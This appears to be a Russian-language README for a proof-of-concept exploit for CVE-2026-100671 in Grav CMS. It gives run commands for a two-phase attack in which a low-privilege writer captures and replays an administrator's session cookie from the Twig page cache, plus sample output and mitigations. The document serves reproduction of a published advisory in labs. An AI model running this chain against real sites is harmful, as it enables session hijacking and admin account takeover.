
Локальный проверочный инструмент (proof-of-concept) для CVE-2026-100671, воспроизводящий раскрытие и повторное использование session-cookie из кэша страниц Grav Twig на loopback-целях.
Минимальный проверочный инструмент на стороне атакующего, ограниченный целевой системой, для перехвата сессии Grav content-Twig/page-cache,
исправленного в Grav 2.0.25.
Рекомендации:
У атакующего нет имени пользователя или пароля администратора.
Реальная цепочка такова:
Действие администратора происходит вне этого скрипта. exploit.py не принимает
настройки GRAV_ADMIN_USERNAME или GRAV_ADMIN_PASSWORD.
Loopback — это граница безопасности по умолчанию. Для цели, не являющейся loopback, требуется
явный флаг --allow-remote, предназначенный для авторизованной машины HTB, TryHackMe или
собственной лабораторной машины.
Клиент следует перенаправлениям только тогда, когда они остаются на выбранном источнике цели,
использует HTTP-клиенты стандартной библиотеки Python, применяет тайм-ауты запросов и выводит
перехваченный cookie только при явном указании --show-cookie.
Используйте только против экземпляра Grav, которым вы владеете или который вам явно разрешено тестировать. Скрипт создаёт публичную страницу-доказательство. Удалите эту страницу после тестирования, если цель сохраняет контент между запусками.
get_cookie() читает session-cookie посещающего администратора на стороне сервера.Учётной записи для записи страниц нужен только путь записи с низкими привилегиями. Ей не нужны
api.pages.read, admin.*, доступ супер-администратора или учётные данные администратора.
2.0.19 – 2.0.24: уязвимы при поставляемой по умолчанию конфигурации content-Twig.2.0.0 – 2.0.18 и 1.7.x: затронуты только при явно включённом content Twig.2.0.25: исправлено.Запустите цель Grav с:
Этот репозиторий из двух файлов не разворачивает Grav, PHP, плагины, учётные записи или бота-администратора. Посещение жертвой остаётся внешним действием.
Укажите только учётные данные или токен автора с низкими привилегиями:
export GRAV_TARGET=http://127.0.0.1:8080
export GRAV_WRITER_USERNAME=low
export GRAV_WRITER_PASSWORD='local-writer-password'
python3 exploit.py
Скрипт создаёт случайный публичный маршрут, выводит его URL и ожидает. Попросите администратора один раз посетить этот URL, затем нажмите Enter. Скрипт выполняет анонимный сбор и локальное воспроизведение API.
Используйте существующий токен API с правами записи:
export GRAV_WRITER_TOKEN='local-low-privilege-token'
python3 exploit.py
Полезно для неинтерактивного терминала или отдельного браузера жертвы.
Подготовьте страницу:
python3 exploit.py --prepare-only
Попросите администратора перейти по напечатанному URL. Затем соберите и воспроизведите данные, используя напечатанный маршрут; для этой второй фазы учётные данные не требуются:
python3 exploit.py --collect-only --route /cookie-proof-XXXXXXXX --show-cookie
--show-cookie выводит захваченный cookie сессии для локальной/авторизованной отладки в лабораторных условиях:
captured_cookie=grav-site-<hash>=<session-value>
Значение — это действующий учётный данные. Не вставляйте его в GitHub, issues, чат,
скриншоты или логи. Без --show-cookie скрипт доказывает тот же
эффект через статус воспроизведения, не выводя значение.
Если сбор выполняется до визита администратора, запрос атакующего может заполнить кэш пустым значением. Подготовьте новый случайный маршрут и повторите.
Не вшивайте IP-адрес машины в репозиторий. Указывайте текущую цель во время выполнения:
export GRAV_WRITER_USERNAME=low
export GRAV_WRITER_PASSWORD='writer-password'
python3 exploit.py \
--target http://10.10.10.25:8080 \
--allow-remote \
--prepare-only
После того как администратор/бот посетит напечатанный URL, соберите и воспроизведите:
python3 exploit.py \
--target http://10.10.10.25:8080 \
--allow-remote \
--collect-only \
--route /cookie-proof-XXXXXXXX \
--show-cookie
--base-url остаётся алиасом совместимости для --target. Удалённый HTTP выводит
предупреждение об открытом тексте; используйте HTTPS там, где машина это поддерживает.
page_create_status=201
victim_action_url=http://127.0.0.1:8080/cookie-proof-XXXXXXXX
anonymous_page_status=200
cookie_name_disclosed=yes
cached_cookie_visible_to_attacker=yes
captured_cookie=grav-site-<hash>=<session-value>
replayed_cookie_api_status=200
result=VULNERABLE
Строка captured_cookie появляется только при использовании --show-cookie.
Запустите тот же двухфазный процесс против Grav 2.0.25 или более поздней версии, затем соберите с помощью:
python3 exploit.py --collect-only --route /cookie-proof-XXXXXXXX --expect fixed
Ожидаемое поведение после исправления: отсутствие видимого атакующему значения сессии и отсутствие успешного воспроизведения сессии. Исправленный результат завершается с кодом 0 при --expect fixed.
Обновитесь до Grav 2.0.25 или более поздней версии. Для более старых развёртываний в рекомендациях перечислены следующие временные меры:
security.twig_content.process_enabled: false; илиsystem.pages.never_cache_twig: true;Не считайте HttpOnly, Secure или SameSite исправлением: уязвимое чтение cookie происходит на стороне сервера во время рендеринга Twig.
Сообщено canhieu. Этот репозиторий — вспомогательное средство для воспроизведения уже опубликованной рекомендации, а не удалённый сканер или инструмент для сбора учётных данных.